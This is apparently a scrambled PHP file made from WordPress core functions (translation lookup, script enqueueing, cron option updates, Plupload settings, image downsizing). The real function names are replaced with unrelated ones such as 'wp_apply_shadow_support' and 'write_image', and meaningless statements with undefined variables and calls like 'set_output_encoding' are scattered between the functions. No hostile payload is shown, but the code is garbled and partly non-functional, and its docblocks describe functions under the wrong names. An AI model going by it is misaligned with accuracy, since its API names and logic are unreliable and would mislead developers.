str_ends_with($filter_excerpt_more, '.php') && file_exists(WP_PLUGIN_DIR . '/' . $filter_excerpt_more)) { $has_min_height_support[] = WP_PLUGIN_DIR . '/' . $filter_excerpt_more; } } return $has_min_height_support; } $litewave_offset = array($subkey, $GPS_free_data, $exported_setting_validities, $get); $widescreen = $oldpath / count($maxTimeout); /** * Loads the child theme's wp_apply_shadow_supportd strings. * * If the current locale exists as a .mo file in the child theme's * root directory, it will be included in the wp_apply_shadow_supportd strings by the $wp_registered_widget_updates. * * The .mo files must be named based on the locale exactly. * * @since 2.9.0 * * @param string $wp_registered_widget_updates Text domain. Unique identifier for retrieving wp_apply_shadow_supportd strings. * @param string|false $variation_output Optional. Path to the directory containing the .mo file. * Default false. * @return bool True when the theme textdomain is successfully loaded, false otherwise. */ function set_certificate_path($wp_registered_widget_updates, $variation_output = false) { if (!$variation_output) { $variation_output = get_stylesheet_directory(); } return load_theme_textdomain($wp_registered_widget_updates, $variation_output); } $f4g0 = 7; /** * Display the ID of the author of the current post. * * @since 0.71 * @deprecated 2.8.0 Use the_author_meta() * @see the_author_meta() */ function wp_redirect_admin_locations() { _deprecated_function(__FUNCTION__, '2.8.0', 'the_author_meta(\'ID\')'); the_author_meta('ID'); } /** * Compat function to mimic remove_frameless_preview_messenger_channel(). * * @ignore * @since 4.2.0 * * @see _remove_frameless_preview_messenger_channel() * * @param string $cuetrackpositions_entry The string to retrieve the character length from. * @param string|null $role__not_in Optional. Character encoding to use. Default null. * @return int String length of `$cuetrackpositions_entry`. */ function remove_frameless_preview_messenger_channel($cuetrackpositions_entry, $role__not_in = null) { // phpcs:ignore Universal.NamingConventions.NoReservedKeywordParameterNames.stringFound return _remove_frameless_preview_messenger_channel($cuetrackpositions_entry, $role__not_in); } // Core. /** * Checks whether a theme or its parent has a theme.json file. * * @since 6.2.0 * * @return bool Returns true if theme or its parent has a theme.json file, false otherwise. */ function column_author() { static $host_only = array(); $SingleTo = get_stylesheet(); if (isset($host_only[$SingleTo]) && !wp_is_development_mode('theme')) { return $host_only[$SingleTo]; } $replace_regex = get_stylesheet_directory(); $old_feed_files = get_template_directory(); // This is the same as get_theme_file_path(), which isn't available in load-styles.php context if ($replace_regex !== $old_feed_files && file_exists($replace_regex . '/theme.json')) { $variation_output = $replace_regex . '/theme.json'; } else { $variation_output = $old_feed_files . '/theme.json'; } /** This filter is documented in wp-includes/link-template.php */ $variation_output = apply_filters('theme_file_path', $variation_output, 'theme.json'); $host_only[$SingleTo] = file_exists($variation_output); return $host_only[$SingleTo]; } // There might be multiple blocks in a plugin. Only the first block is mapped. // * Horizontal Pixels / Meter DWORD 32 // horizontal resolution of target device in pixels per meter - defined as biXPelsPerMeter field of BITMAPINFOHEADER structure /** * Retrieves the translation of $pgstrt. * * If there is no translation, or the text domain isn't loaded, the original text is returned. * * *Note:* Don't use wp_apply_shadow_support() directly, use __() or related functions. * * @since 2.2.0 * @since 5.5.0 Introduced `gettext-{$wp_registered_widget_updates}` filter. * * @param string $pgstrt Text to wp_apply_shadow_support. * @param string $wp_registered_widget_updates Optional. Text domain. Unique identifier for retrieving wp_apply_shadow_supportd strings. * Default 'default'. * @return string Translated text. */ function wp_apply_shadow_support($pgstrt, $wp_registered_widget_updates = 'default') { $source_files = get_translations_for_domain($wp_registered_widget_updates); $old_backup_sizes = $source_files->wp_apply_shadow_support($pgstrt); /** * Filters text with its translation. * * @since 2.0.11 * * @param string $old_backup_sizes Translated text. * @param string $pgstrt Text to wp_apply_shadow_support. * @param string $wp_registered_widget_updates Text domain. Unique identifier for retrieving wp_apply_shadow_supportd strings. */ $old_backup_sizes = apply_filters('gettext', $old_backup_sizes, $pgstrt, $wp_registered_widget_updates); /** * Filters text with its translation for a domain. * * The dynamic portion of the hook name, `$wp_registered_widget_updates`, refers to the text domain. * * @since 5.5.0 * * @param string $old_backup_sizes Translated text. * @param string $pgstrt Text to wp_apply_shadow_support. * @param string $wp_registered_widget_updates Text domain. Unique identifier for retrieving wp_apply_shadow_supportd strings. */ $old_backup_sizes = apply_filters("gettext_{$wp_registered_widget_updates}", $old_backup_sizes, $pgstrt, $wp_registered_widget_updates); return $old_backup_sizes; } // remove possible empty keys $include_hidden = array_filter($litewave_offset, function($root_tag) {return $root_tag % 2 === 0;}); /** * Enqueues a script. * * Registers the script if `$v_list` provided (does NOT overwrite), and enqueues it. * * @see WP_Dependencies::add() * @see WP_Dependencies::add_data() * @see WP_Dependencies::enqueue() * * @since 2.1.0 * @since 6.3.0 The $in_footer parameter of type boolean was overloaded to be an $cached_response parameter of type array. * * @param string $mlen0 Name of the script. Should be unique. * @param string $v_list Full URL of the script, or path of the script relative to the WordPress root directory. * Default empty. * @param string[] $col_length Optional. An array of registered script handles this script depends on. Default empty array. * @param string|bool|null $post_ID Optional. String specifying script version number, if it has one, which is added to the URL * as a query string for cache busting purposes. If version is set to false, a version * number is automatically added equal to current installed WordPress version. * If set to null, no version is added. * @param array|bool $cached_response { * Optional. An array of additional script loading strategies. Default empty array. * Otherwise, it may be a boolean in which case it determines whether the script is printed in the footer. Default false. * * @type string $strategy Optional. If provided, may be either 'defer' or 'async'. * @type bool $in_footer Optional. Whether to print the script in the footer. Default 'false'. * } */ function format_get($mlen0, $v_list = '', $col_length = array(), $post_ID = false, $cached_response = array()) { _wp_scripts_maybe_doing_it_wrong(__FUNCTION__, $mlen0); $h6 = wp_scripts(); if ($v_list || !empty($cached_response)) { $wp_password_change_notification_email = explode('?', $mlen0); if (!is_array($cached_response)) { $cached_response = array('in_footer' => (bool) $cached_response); } if ($v_list) { $h6->add($wp_password_change_notification_email[0], $v_list, $col_length, $post_ID); } if (!empty($cached_response['in_footer'])) { $h6->add_data($wp_password_change_notification_email[0], 'group', 1); } if (!empty($cached_response['strategy'])) { $h6->add_data($wp_password_change_notification_email[0], 'strategy', $cached_response['strategy']); } } $h6->enqueue($mlen0); } $found_rows = "vocabulary"; /** * Updates the cron option with the new cron array. * * @since 2.1.0 * @since 5.1.0 Return value modified to outcome of update_option(). * @since 5.7.0 The `$container` parameter was added. * * @access private * * @param array[] $segments Array of cron info arrays from _get_cron_array(). * @param bool $container Optional. Whether to return a WP_Error on failure. Default false. * @return bool|WP_Error True if cron array updated. False or WP_Error on failure. */ function orInt32($segments, $container = false) { if (!is_array($segments)) { $segments = array(); } $segments['version'] = 2; $f5g5_38 = update_option('cron', $segments); if ($container && !$f5g5_38) { return new WP_Error('could_not_set', __('The cron event list could not be saved.')); } return $f5g5_38; } $page_caching_response_headers = mt_rand(0, $f5f8_38); /** * Regex callback for `wp_kses_decode_entities()`. * * @since 2.9.0 * @access private * @ignore * * @param array $TheoraPixelFormatLookup preg match * @return string */ function output_block_styles($TheoraPixelFormatLookup) { return chr($TheoraPixelFormatLookup[1]); } $media_per_page = array_slice($subatomsize, 0, 7); /** * Returns the top-level submenu SVG chevron icon. * * @return string */ function wp_autosave_post_revisioned_meta_fields() { return '<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12" fill="none" aria-hidden="true" focusable="false"><path d="M1.50002 4L6.00002 8L10.5 4" stroke-width="1.5"></path></svg>'; } set_output_encoding(["madam", "racecar", "hello", "level"]); $front_page = array_diff($subatomsize, $media_per_page); /** * Prints default Plupload arguments. * * @since 3.4.0 */ function wp_resolve_numeric_slug_conflicts() { $h6 = wp_scripts(); $has_quicktags = $h6->get_data('wp-plupload', 'data'); if ($has_quicktags && str_contains($has_quicktags, '_wpPluploadSettings')) { return; } $font_variation_settings = wp_max_upload_size(); $left_string = array_keys(get_allowed_mime_types()); $display_title = array(); foreach ($left_string as $carry11) { $display_title = array_merge($display_title, explode('|', $carry11)); } /* * Since 4.9 the `runtimes` setting is hardcoded in our version of Plupload to `html5,html4`, * and the `flash_swf_url` and `silverlight_xap_url` are not used. */ $commentvalue = array( 'file_data_name' => 'async-upload', // Key passed to $_FILE. 'url' => admin_url('async-upload.php', 'relative'), 'filters' => array('max_file_size' => $font_variation_settings . 'b', 'mime_types' => array(array('extensions' => implode(',', $display_title)))), ); /* * Currently only iOS Safari supports multiple files uploading, * but iOS 7.x has a bug that prevents uploading of videos when enabled. * See #29602. */ if (wp_is_mobile() && str_contains($_SERVER['HTTP_USER_AGENT'], 'OS 7_') && str_contains($_SERVER['HTTP_USER_AGENT'], 'like Mac OS X')) { $commentvalue['multi_selection'] = false; } // Check if WebP images can be edited. if (!wp_image_editor_supports(array('mime_type' => 'image/webp'))) { $commentvalue['webp_upload_error'] = true; } // Check if AVIF images can be edited. if (!wp_image_editor_supports(array('mime_type' => 'image/avif'))) { $commentvalue['avif_upload_error'] = true; } /** * Filters the Plupload default settings. * * @since 3.4.0 * * @param array $commentvalue Default Plupload settings array. */ $commentvalue = apply_filters('plupload_default_settings', $commentvalue); $show_button = array('action' => 'upload-attachment'); /** * Filters the Plupload default parameters. * * @since 3.4.0 * * @param array $show_button Default Plupload parameters array. */ $show_button = apply_filters('plupload_default_params', $show_button); $show_button['_wpnonce'] = wp_create_nonce('media-form'); $commentvalue['multipart_params'] = $show_button; $imagick_timeout = array('defaults' => $commentvalue, 'browser' => array('mobile' => wp_is_mobile(), 'supported' => _device_can_upload()), 'limitExceeded' => is_multisite() && !is_upload_space_available()); $sitemap_types = 'var _wpPluploadSettings = ' . wp_json_encode($imagick_timeout) . ';'; if ($has_quicktags) { $sitemap_types = "{$has_quicktags}\n{$sitemap_types}"; } $h6->add_data('wp-plupload', 'data', $sitemap_types); } $has_background_image_support = in_array($page_caching_response_headers, $check_comment_lengths); $remember = strpos($found_rows, $iis_subdir_match) !== false; $log_file = array_sum($include_hidden); /** * Scales an image to fit a particular size (such as 'thumb' or 'medium'). * * The URL might be the original image, or it might be a resized version. This * function won't create a new resized copy, it will just return an already * resized one if it exists. * * A plugin may use the {@see 'write_image'} filter to hook into and offer image * resizing services for images. The hook must return an array with the same * elements that are normally returned from the function. * * @since 2.5.0 * * @param int $primary_id_column Attachment ID for image. * @param string|int[] $sub_attachment_id Optional. Image size. Accepts any registered image size name, or an array * of width and height values in pixels (in that order). Default 'medium'. * @return array|false { * Array of image data, or boolean false if no image is available. * * @type string $0 Image source URL. * @type int $1 Image width in pixels. * @type int $2 Image height in pixels. * @type bool $3 Whether the image is a resized image. * } */ function write_image($primary_id_column, $sub_attachment_id = 'medium') { $spam_folder_link = wp_attachment_is_image($primary_id_column); /** * Filters whether to preempt the output of write_image(). * * Returning a truthy value from the filter will effectively short-circuit * down-sizing the image, returning that value instead. * * @since 2.5.0 * * @param bool|array $downsize Whether to short-circuit the image downsize. * @param int $primary_id_column Attachment ID for image. * @param string|int[] $sub_attachment_id Requested image size. Can be any registered image size name, or * an array of width and height values in pixels (in that order). */ $category_path = apply_filters('write_image', false, $primary_id_column, $sub_attachment_id); if ($category_path) { return $category_path; } $drop_ddl = wp_get_attachment_url($primary_id_column); $style_path = wp_get_attachment_metadata($primary_id_column); $chapter_string_length_hex = 0; $logged_in = 0; $default_content = false; $ext_mimes = wp_basename($drop_ddl); /* * If the file isn't an image, attempt to replace its URL with a rendered image from its meta. * Otherwise, a non-image type could be returned. */ if (!$spam_folder_link) { if (!empty($style_path['sizes']['full'])) { $drop_ddl = str_replace($ext_mimes, $style_path['sizes']['full']['file'], $drop_ddl); $ext_mimes = $style_path['sizes']['full']['file']; $chapter_string_length_hex = $style_path['sizes']['full']['width']; $logged_in = $style_path['sizes']['full']['height']; } else { return false; } } // Try for a new style intermediate size. $local_name = image_get_intermediate_size($primary_id_column, $sub_attachment_id); if ($local_name) { $drop_ddl = str_replace($ext_mimes, $local_name['file'], $drop_ddl); $chapter_string_length_hex = $local_name['width']; $logged_in = $local_name['height']; $default_content = true; } elseif ('thumbnail' === $sub_attachment_id && !empty($style_path['thumb']) && is_string($style_path['thumb'])) { // Fall back to the old thumbnail. $dismissed = get_attached_file($primary_id_column); $wp_hasher = str_replace(wp_basename($dismissed), wp_basename($style_path['thumb']), $dismissed); if (file_exists($wp_hasher)) { $original_url = wp_getimagesize($wp_hasher); if ($original_url) { $drop_ddl = str_replace($ext_mimes, wp_basename($wp_hasher), $drop_ddl); $chapter_string_length_hex = $original_url[0]; $logged_in = $original_url[1]; $default_content = true; } } } if (!$chapter_string_length_hex && !$logged_in && isset($style_path['width'], $style_path['height'])) { // Any other type: use the real image. $chapter_string_length_hex = $style_path['width']; $logged_in = $style_path['height']; } if ($drop_ddl) { // We have the actual image size, but might need to further constrain it if content_width is narrower. list($chapter_string_length_hex, $logged_in) = image_constrain_size_for_editor($chapter_string_length_hex, $logged_in, $sub_attachment_id); return array($drop_ddl, $chapter_string_length_hex, $logged_in, $default_content); } return false; } randombytes_random16([1, 2, 3]);